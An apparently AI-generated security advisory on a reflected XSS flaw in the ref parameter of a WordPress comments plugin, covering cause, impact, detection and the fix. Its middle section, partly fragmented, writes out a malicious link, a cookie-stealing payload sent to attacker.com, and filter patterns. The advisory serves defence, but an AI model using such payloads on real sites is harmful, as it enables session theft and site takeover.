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CVE-2026-91829 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Subscribe to Comments WordPress plugin affecting all versions before 2.3.3. The flaw allows unauthenticated attackers to inject malicious scripts via a crafted URL that, when clicked by any user including administrators, executes arbitrary JavaScript in the victim's browser. It was publicly disclosed on October 9, 2026, with NVD publication on October 11, 2026. The vulnerability carries a CVSS v3.1 base score of 7.1 (High) (WPScan, Github Advisory).
The root cause is improper input validation (CWE-79) of a URL parameter — specifically the ref parameter — which is reflected unsanitized into a link target in the page output. Because the plugin fails to sanitize or encode this parameter before rendering it in the HTML response, an attacker can craft a URL containing a malicious JavaScript payload that executes in the victim's browser upon page load. Exploitation requires no authentication and no special privileges, but does require a victim to click the attacker-controlled link. A proof-of-concept is scheduled for public release on October 23, 2026, to allow time for users to update (WPScan, Github Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session, potentially enabling theft of session cookies, authentication tokens, or sensitive form data. If an administrator clicks the crafted link, the attacker could leverage the elevated session to perform privileged actions on the WordPress site, such as creating rogue admin accounts, installing malicious plugins, or defacing content. The scope change in the CVSS score reflects that the impact extends beyond the vulnerable component to the broader browser environment (WPScan, Github Advisory).
As of the disclosure date, there is no evidence of active in-the-wild exploitation or a publicly available proof-of-concept exploit; WPScan has intentionally withheld the PoC until October 23, 2026. The CVE status is listed as "Deferred" and the NVD SSVC assessment indicates exploitation is currently "none." The EPSS score is approximately 0.17%, indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (WPScan, Github Advisory).
wpscan --url https://target.com --enumerate p) or by checking the plugin's readme.txt file at https://target.com/wp-content/plugins/subscribe-to-comments/readme.txt.ref parameter, e.g., https://target.com/?page=subscribe-to-comments&ref=javascript:alert(document.cookie) or an equivalent encoded variant that bypasses basic filters.ref parameter into the page's HTML output as a link target, causing the browser to execute the injected JavaScript.document.location='https://attacker.com/?c='+document.cookie), enabling session hijacking and subsequent unauthorized access to the WordPress admin panel (WPScan).ref parameter (e.g., %3Cscript%3E, javascript:, onerror=).ref parameter values; repeated requests from different IPs to the same crafted URL pattern may indicate a phishing campaign in progress.The primary remediation is to update the Subscribe to Comments WordPress plugin to version 2.3.3 or later, which properly validates the ref parameter before reflecting it into page output (WPScan). As a supplementary defense-in-depth measure, site administrators should implement a Content Security Policy (CSP) header to restrict inline script execution, reducing the impact of any XSS vulnerabilities. Users and administrators should also be educated about the risks of clicking unsolicited or suspicious links, particularly those pointing to their own site with unusual query parameters.
The vulnerability was discovered and submitted by researcher Het Kalariya and verified by WPScan. A brief mention appeared on the Infosec Exchange Mastodon instance shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond the standard advisory has been identified at this time (WPScan).
Source: This report was generated using AI
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